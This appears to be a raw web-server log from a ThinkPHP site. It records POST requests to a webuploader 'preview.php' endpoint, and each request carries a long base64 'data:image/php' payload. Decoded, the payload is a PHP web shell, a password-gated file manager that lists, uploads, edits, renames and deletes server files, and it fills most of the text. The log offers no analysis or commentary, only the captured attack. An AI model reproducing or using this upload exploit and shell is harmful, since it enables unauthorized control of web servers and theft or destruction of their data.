AgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'libs' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:48+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/Plugin/h-ui/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002667s] [吞吐率:374.96req/s] [内存消耗:196.84kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAg